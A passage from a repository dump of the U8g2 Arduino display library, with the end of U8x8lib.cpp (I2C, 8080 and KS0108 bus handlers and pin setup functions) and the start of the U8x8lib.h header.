U8X8_UNUSED uint8_t msg, U8X8_UNUSED uint8_t arg_int, U8X8_UNUSED void *arg_ptr)\n{\n#ifdef U8X8_HAVE_2ND_HW_I2C\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      Wire1.write((uint8_t *)arg_ptr, (int)arg_int);\n      break;\n    case U8X8_MSG_BYTE_INIT:\n      if ( u8x8->bus_clock == 0 ) \t/* issue 769 */\n\tu8x8->bus_clock = u8x8->display_info->i2c_bus_clock_100kHz * 100000UL;\n      Wire1.begin();\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n#if ARDUINO >= 10600\n      /* not sure when the setClock function was introduced, but it is there since 1.6.0 */\n      /* if there is any error with Wire.setClock() just remove this function call by */\n      /* defining U8X8_DO_NOT_SET_WIRE_CLOCK */\n#ifndef U8X8_DO_NOT_SET_WIRE_CLOCK\n      Wire1.setClock(u8x8->bus_clock); \n#endif\n#endif\n      Wire1.beginTransmission(u8x8_GetI2CAddress(u8x8)>>1);\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      Wire1.endTransmission();\n      break;\n    default:\n      return 0;\n  }\n#endif\n  return 1;\n}\n\n#endif // U8X8_USE_PINS\n\n/*=============================================*/\n\n/*\n  replacement for a more faster u8x8_byte_8bit_8080mode\n  in general u8x8_byte_8bit_8080mode could be a fallback:\n\n  uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_8bit_8080mode(u8x8, msg,arg_int, arg_ptr);\n  }\n\n\n\n*/\n\n#ifndef __AVR_ARCH__\n#define __AVR_ARCH__ 0\n#endif \n\n#if !defined(U8X8_USE_PINS)\n  /* no pin information (very strange), so fallback */\nextern \"C\" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  return u8x8_byte_8bit_8080mode(u8x8, msg,arg_int, arg_ptr);\n}\n\n#elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103\n\n/* this function completly replaces u8x8_byte_8bit_8080mode*/\nextern \"C\" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n\n  /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */\n  /* so, it should be possible to use multiple displays with different pins */\n  \n  static volatile uint8_t *arduino_e_port;\n  static volatile uint8_t arduino_e_mask;\n  static volatile uint8_t arduino_e_n_mask;\n  \n  static volatile uint8_t *arduino_data_port[8];\n  static volatile uint8_t arduino_data_mask[8];\n  static volatile uint8_t arduino_data_n_mask[8];\n\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = 0; i < 8; i++ )\n\t{\n\t  if ( b & 1 )\n\t    *arduino_data_port[i] |= arduino_data_mask[i];\n\t  else\n\t    *arduino_data_port[i] &= arduino_data_n_mask[i];\n\t  b >>= 1;\n\n\t}\n\t\n\t*arduino_e_port &= arduino_e_n_mask;\n\n\t      \n\t/* AVR Architecture is very slow, extra call is not required */\n\t//u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sda_setup_time_ns);\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns);\n\t\n\t*arduino_e_port |= arduino_e_mask;\n\t\n\t/* AVR Architecture is very slow, extra call is not required */\n\t//u8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->sck_pulse_width_ns);\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns);\n\t\n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* ensure that the enable signal is high */\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 1);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_enable_level);  \n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_E] */\n    \n      arduino_e_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_E]));\n      arduino_e_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_E]);\n      arduino_e_n_mask = ~arduino_e_mask;\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_D0] */\n\n      for( i = 0; i < 8; i++ )\n      {\n\tarduino_data_port[i] = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_D0+i]));\n\tarduino_data_mask[i] = digitalPinToBitMask(u8x8->pins[U8X8_PIN_D0+i]);\n\tarduino_data_n_mask[i] = ~arduino_data_mask[i];\n      }\n\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n#else\n  /* fallback */\nextern \"C\" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  return u8x8_byte_8bit_8080mode(u8x8, msg,arg_int, arg_ptr);\n}\n  \n#endif\n\n\n/*=============================================*/\n\n/*\n  replacement for a more faster u8x8_byte_ks0108\n  in general u8x8_byte_ks0108 could be a fallback:\n\n  uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n  {\n    return u8x8_byte_ks0108(u8x8, msg,arg_int, arg_ptr);\n  }\n\n\n\n*/\n\n#ifndef __AVR_ARCH__\n#define __AVR_ARCH__ 0\n#endif \n\n#if !defined(U8X8_USE_PINS)\n  /* no pin information (very strange), so fallback */\nextern \"C\" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  return u8x8_byte_ks0108(u8x8, msg,arg_int, arg_ptr);\n}\n\n#elif __AVR_ARCH__ == 4 || __AVR_ARCH__ == 5 || __AVR_ARCH__ == 51 || __AVR_ARCH__ == 6 || __AVR_ARCH__ == 103\n\n/* this function completly replaces u8x8_byte_ks0108*/\nextern \"C\" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t i, b;\n  uint8_t *data;\n\n  /* the following static vars are recalculated in U8X8_MSG_BYTE_START_TRANSFER */\n  /* so, it should be possible to use multiple displays with different pins */\n  \n  static volatile uint8_t *arduino_e_port;\n  static volatile uint8_t arduino_e_mask;\n  static volatile uint8_t arduino_e_n_mask;\n  \n  static volatile uint8_t *arduino_data_port[8];\n  static volatile uint8_t arduino_data_mask[8];\n  static volatile uint8_t arduino_data_n_mask[8];\n\n  switch(msg)\n  {\n    case U8X8_MSG_BYTE_SEND:\n      data = (uint8_t *)arg_ptr;\n      while( arg_int > 0 )\n      {\n\tb = *data;\n\tdata++;\n\targ_int--;\n\tfor( i = 0; i < 8; i++ )\n\t{\n\t  if ( b & 1 )\n\t    *arduino_data_port[i] |= arduino_data_mask[i];\n\t  else\n\t    *arduino_data_port[i] &= arduino_data_n_mask[i];\n\t  b >>= 1;\n\n\t}\n\t\n\t*arduino_e_port |= arduino_e_mask;\n\n\t      \n\t/* AVR Architecture is very slow, extra call is not required */\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->data_setup_time_ns);\n\t\n\t*arduino_e_port &= arduino_e_n_mask;\n\t\n\t/* AVR Architecture is very slow, extra call is not required */\n\tu8x8_gpio_Delay(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->write_pulse_width_ns);\n\t\n      }\n      break;\n      \n    case U8X8_MSG_BYTE_INIT:\n      /* disable chipselect */\n      u8x8_gpio_SetCS(u8x8, u8x8->display_info->chip_disable_level);\n      /* no wait required here */\n      \n      /* ensure that the enable signal is low */\n      u8x8_gpio_call(u8x8, U8X8_MSG_GPIO_E, 0);\n      break;\n    case U8X8_MSG_BYTE_SET_DC:\n      u8x8_gpio_SetDC(u8x8, arg_int);\n      break;\n    case U8X8_MSG_BYTE_START_TRANSFER:\n      u8x8_byte_set_ks0108_cs(u8x8, arg_int);\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->post_chip_enable_wait_ns, NULL);\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_E] */\n    \n      arduino_e_port = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_E]));\n      arduino_e_mask = digitalPinToBitMask(u8x8->pins[U8X8_PIN_E]);\n      arduino_e_n_mask = ~arduino_e_mask;\n\n      /* there is no consistency checking for u8x8->pins[U8X8_PIN_D0] */\n\n      for( i = 0; i < 8; i++ )\n      {\n\tarduino_data_port[i] = portOutputRegister(digitalPinToPort(u8x8->pins[U8X8_PIN_D0+i]));\n\tarduino_data_mask[i] = digitalPinToBitMask(u8x8->pins[U8X8_PIN_D0+i]);\n\tarduino_data_n_mask[i] = ~arduino_data_mask[i];\n      }\n\n      break;\n    case U8X8_MSG_BYTE_END_TRANSFER:\n      u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_NANO, u8x8->display_info->pre_chip_disable_wait_ns, NULL);\n      u8x8_byte_set_ks0108_cs(u8x8, arg_int);\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n#else\n  /* fallback */\nextern \"C\" uint8_t u8x8_byte_arduino_ks0108(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  return u8x8_byte_ks0108(u8x8, msg,arg_int, arg_ptr);\n}\n  \n#endif\n#endif /*ARDUINO*/\n\n\n\n\n\n\n\n\n#ifdef U8X8_USE_PINS\n\n/*\n  use U8X8_PIN_NONE as value for \"reset\", if there is no reset line\n*/\n\nvoid u8x8_SetPin_4Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n#ifdef _obsolete_com_specific_setup\nvoid u8x8_Setup_4Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_4wire_sw_spi, u8x8_gpio_and_delay_arduino);\n  \n  /* assign individual pin values (only for ARDUINO, if pin_list is available) */\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif /* obsolete com specific setup */\n\nvoid u8x8_SetPin_3Wire_SW_SPI(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n#ifdef _obsolete_com_specific_setup\nvoid u8x8_Setup_3Wire_SW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t cs, uint8_t reset)\n{\n  u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_3wire_sw_spi, u8x8_gpio_and_delay_arduino);\n  \n  /* assign individual pin values (only for ARDUINO, if pin_list is available) */\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_SPI_DATA, data);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif /* obsolete com specific setup */\n\n/*\n  use U8X8_PIN_NONE as value for \"reset\", if there is no reset line\n*/\nvoid u8x8_SetPin_3Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n/*\n  use U8X8_PIN_NONE as value for \"reset\", if there is no reset line\n*/\nvoid u8x8_SetPin_4Wire_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\nvoid u8x8_SetPin_ST7920_HW_SPI(u8x8_t *u8x8, uint8_t cs, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n\n#ifdef _obsolete_com_specific_setup\nvoid u8x8_Setup_4Wire_HW_SPI(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_arduino_hw_spi, u8x8_gpio_and_delay_arduino);\n  \n  /* assign individual pin values (only for ARDUINO, if pin_list is available) */\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif /* obsolete com specific setup */\n\n\nvoid u8x8_SetPin_SW_I2C(u8x8_t *u8x8, uint8_t clock, uint8_t data, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_I2C_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_I2C_DATA, data);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n#ifdef _obsolete_com_specific_setup\nvoid u8x8_Setup_SSD13xx_SW_I2C(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t clock, uint8_t data, uint8_t reset)\n{\n  u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_ssd13xx_sw_i2c, u8x8_gpio_and_delay_arduino);\n  \n  /* assign individual pin values (only for ARDUINO, if pin_list is available) */\n  u8x8_SetPin(u8x8, U8X8_PIN_I2C_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_I2C_DATA, data);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif /* obsolete com specific setup */\n\nvoid u8x8_SetPin_HW_I2C(u8x8_t *u8x8, uint8_t reset, uint8_t clock, uint8_t data)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n  u8x8_SetPin(u8x8, U8X8_PIN_I2C_CLOCK, clock);\n  u8x8_SetPin(u8x8, U8X8_PIN_I2C_DATA, data);\n}\n\nvoid u8x8_SetPin_8Bit_6800(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_D0, d0);\n  u8x8_SetPin(u8x8, U8X8_PIN_D1, d1);\n  u8x8_SetPin(u8x8, U8X8_PIN_D2, d2);\n  u8x8_SetPin(u8x8, U8X8_PIN_D3, d3);\n  u8x8_SetPin(u8x8, U8X8_PIN_D4, d4);\n  u8x8_SetPin(u8x8, U8X8_PIN_D5, d5);\n  u8x8_SetPin(u8x8, U8X8_PIN_D6, d6);\n  u8x8_SetPin(u8x8, U8X8_PIN_D7, d7);\n  u8x8_SetPin(u8x8, U8X8_PIN_E, enable);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n#ifdef _obsolete_com_specific_setup\nvoid u8x8_Setup_8Bit_6800(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_8bit_6800mode, u8x8_gpio_and_delay_arduino);\n  \n  /* assign individual pin values (only for ARDUINO, if pin_list is available) */\n  u8x8_SetPin(u8x8, U8X8_PIN_D0, d0);\n  u8x8_SetPin(u8x8, U8X8_PIN_D1, d1);\n  u8x8_SetPin(u8x8, U8X8_PIN_D2, d2);\n  u8x8_SetPin(u8x8, U8X8_PIN_D3, d3);\n  u8x8_SetPin(u8x8, U8X8_PIN_D4, d4);\n  u8x8_SetPin(u8x8, U8X8_PIN_D5, d5);\n  u8x8_SetPin(u8x8, U8X8_PIN_D6, d6);\n  u8x8_SetPin(u8x8, U8X8_PIN_D7, d7);\n  u8x8_SetPin(u8x8, U8X8_PIN_E, enable);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif /* obsolete com specific setup */\n\n\nvoid u8x8_SetPin_8Bit_8080(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_D0, d0);\n  u8x8_SetPin(u8x8, U8X8_PIN_D1, d1);\n  u8x8_SetPin(u8x8, U8X8_PIN_D2, d2);\n  u8x8_SetPin(u8x8, U8X8_PIN_D3, d3);\n  u8x8_SetPin(u8x8, U8X8_PIN_D4, d4);\n  u8x8_SetPin(u8x8, U8X8_PIN_D5, d5);\n  u8x8_SetPin(u8x8, U8X8_PIN_D6, d6);\n  u8x8_SetPin(u8x8, U8X8_PIN_D7, d7);\n  u8x8_SetPin(u8x8, U8X8_PIN_E, wr);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\n\n#ifdef _obsolete_com_specific_setup\nvoid u8x8_Setup_8Bit_8080(u8x8_t *u8x8, u8x8_msg_cb display_cb, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t wr, uint8_t cs, uint8_t dc, uint8_t reset)\n{\n  u8x8_Setup(u8x8, display_cb, u8x8_cad_001, u8x8_byte_8bit_8080mode, u8x8_gpio_and_delay_arduino);\n  \n  /* assign individual pin values (only for ARDUINO, if pin_list is available) */\n  u8x8_SetPin(u8x8, U8X8_PIN_D0, d0);\n  u8x8_SetPin(u8x8, U8X8_PIN_D1, d1);\n  u8x8_SetPin(u8x8, U8X8_PIN_D2, d2);\n  u8x8_SetPin(u8x8, U8X8_PIN_D3, d3);\n  u8x8_SetPin(u8x8, U8X8_PIN_D4, d4);\n  u8x8_SetPin(u8x8, U8X8_PIN_D5, d5);\n  u8x8_SetPin(u8x8, U8X8_PIN_D6, d6);\n  u8x8_SetPin(u8x8, U8X8_PIN_D7, d7);\n  u8x8_SetPin(u8x8, U8X8_PIN_E, wr);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif /* obsolete com specific setup */\n\nvoid u8x8_SetPin_KS0108(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t enable, uint8_t dc, uint8_t cs0, uint8_t cs1, uint8_t cs2, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_D0, d0);\n  u8x8_SetPin(u8x8, U8X8_PIN_D1, d1);\n  u8x8_SetPin(u8x8, U8X8_PIN_D2, d2);\n  u8x8_SetPin(u8x8, U8X8_PIN_D3, d3);\n  u8x8_SetPin(u8x8, U8X8_PIN_D4, d4);\n  u8x8_SetPin(u8x8, U8X8_PIN_D5, d5);\n  u8x8_SetPin(u8x8, U8X8_PIN_D6, d6);\n  u8x8_SetPin(u8x8, U8X8_PIN_D7, d7);\n  u8x8_SetPin(u8x8, U8X8_PIN_E, enable);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, cs0);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS1, cs1);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS2, cs2);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n\nvoid u8x8_SetPin_SED1520(u8x8_t *u8x8, uint8_t d0, uint8_t d1, uint8_t d2, uint8_t d3, uint8_t d4, uint8_t d5, uint8_t d6, uint8_t d7, uint8_t dc, uint8_t e1, uint8_t e2, uint8_t reset)\n{\n  u8x8_SetPin(u8x8, U8X8_PIN_D0, d0);\n  u8x8_SetPin(u8x8, U8X8_PIN_D1, d1);\n  u8x8_SetPin(u8x8, U8X8_PIN_D2, d2);\n  u8x8_SetPin(u8x8, U8X8_PIN_D3, d3);\n  u8x8_SetPin(u8x8, U8X8_PIN_D4, d4);\n  u8x8_SetPin(u8x8, U8X8_PIN_D5, d5);\n  u8x8_SetPin(u8x8, U8X8_PIN_D6, d6);\n  u8x8_SetPin(u8x8, U8X8_PIN_D7, d7);\n  u8x8_SetPin(u8x8, U8X8_PIN_E, e1);\n  u8x8_SetPin(u8x8, U8X8_PIN_CS, e2);\n  u8x8_SetPin(u8x8, U8X8_PIN_DC, dc);\n  u8x8_SetPin(u8x8, U8X8_PIN_RESET, reset);\n}\n#endif // U8X8_USE_PINS\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/U8x8lib.h",
    "content": "/*\n\n  U8x8lib.h\n  \n  C++ Arduino wrapper for the u8x8 struct and c functions.\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n*/\n\n#ifndef U8X8LIB_HH\n#define U8X8LIB_HH\n\n#ifdef ARDUINO\n#include <Arduino.h>\n#include <Print.h>\n#endif\n\n#include \"clib/u8x8.h\"\n\n/*\n  Uncomment this to switch off Wire.setClock() invocations.\n  This is useful if you connect multiple devices to the same I2C bus that \n  is used for the monochrome display.\n  For example the Arduino Nano RP2040 connect uses the only I2C bus \n  already for the internal communication with the integrated on-board components\n  wifi, crypto and accelerometer and does not work correctly if the U8g2 library\n  modifies the I2c clock speed.\n  Instead of uncommenting the line below (which needs a library modification)\n  you can also just add the following define before including the U8x8lib header:\n      #define U8X8_DO_NOT_SET_WIRE_CLOCK\n      #include \"U8x8lib.h\" \n*/\n// #define U8X8_DO_NOT_SET_WIRE_CLOCK\n\n/* \n  Uncomment this to enable AVR optimization for I2C \n  This is disabled by default, because it will not correctly set the pullups.\n  Instead the SW will always drive the I2C bus.\n*/\n//#define U8X8_USE_ARDUINO_AVR_SW_I2C_OPTIMIZATION\n\n/*\n  Uncomment this to enable Teensy 3 I2C-Library i2c_t3\n  This can/should be used for Teensy >= 3 and Teensy LC.\n*/\n// #define U8X8_HAVE_HW_I2C_TEENSY3\n\n/* Assumption: All Arduino Boards have \"SPI.h\" */\n#ifndef U8X8_NO_HW_SPI\n#define U8X8_HAVE_HW_SPI\n#endif\n\n/* Assumption: All Arduino Boards have \"Wire.h\" */\n#ifndef U8X8_NO_HW_I2C\n#define U8X8_HAVE_HW_I2C\n#endif\n\n/* Undefine U8X8_HAVE_HW_SPI for those Boards without SPI.h */\n\n#ifdef ARDUINO_AVR_DIGISPARK\n\n#ifdef KENDRYTE_K210\n\n#ifdef U8X8_HAVE_HW_SPI\n#undef U8X8_HAVE_HW_SPI\n#endif \n\n#endif\n\n#ifdef U8X8_HAVE_HW_SPI\n#undef U8X8_HAVE_HW_SPI\n#endif \n\n#ifdef U8X8_HAVE_HW_I2C\n#undef U8X8_HAVE_HW_I2C\n#endif \n\n#endif\n\n#ifdef __AVR_ATtiny85__\n#ifdef U8X8_HAVE_HW_SPI\n#undef U8X8_HAVE_HW_SPI\n#endif \n\n#ifdef U8X8_HAVE_HW_I2C\n#undef U8X8_HAVE_HW_I2C\n#endif \n#endif\n\n/* ATmegaXXM1 do not have I2C */\n#if defined(__AVR_ATmega16M1__) || defined(__AVR_ATmega32M1__) || defined(__AVR_ATmega64M1__)\n#ifdef U8X8_HAVE_HW_I2C\n#undef U8X8_HAVE_HW_I2C\n#endif \n#endif\n\n/* ATmegaXXC1 do not have I2C */\n#if defined(__AVR_ATmega16C1__) || defined(__AVR_ATmega32C1__) || defined(__AVR_ATmega64C1__)\n#ifdef U8X8_HAVE_HW_I2C\n#undef U8X8_HAVE_HW_I2C\n#endif \n#endif\n\n\n/* define U8X8_HAVE_2ND_HW_I2C if the board has a second wire interface*/\n#ifdef U8X8_HAVE_HW_I2C\n#ifdef WIRE_INTERFACES_COUNT\n#if WIRE_INTERFACES_COUNT > 1\n#define U8X8_HAVE_2ND_HW_I2C\n#endif\n#endif\n#endif /* U8X8_HAVE_HW_I2C */\n\n/* define U8X8_HAVE_2ND_HW_SPI if the board has a second wire interface*/\n/* As of writing this, I did not found any official board which supports this */\n/* so this is not tested (May 2017), issue #224 */\n/* fixed ifdef, #410, #377 */\n/* meanwhile it is defined e.g. here: https://github.com/arduino/ArduinoCore-samd/blob/master/variants/mkrzero/variant.h#L91 */\n/* so it should be available for mkrzero */\n\n#ifdef SPI_INTERFACES_COUNT\n#if SPI_INTERFACES_COUNT > 1\n#define U8X8_HAVE_2ND_HW_SPI\n#endif\n#endif\n\n\nextern \"C\" uint8_t u8x8_gpio_and_delay_arduino(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_8bit_8080mode(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_4wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_3wire_sw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_3wire_hw_spi(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr);\nextern \"C\" uint8_t u8x8_byte_arduino_hw_spi(u8x8_t 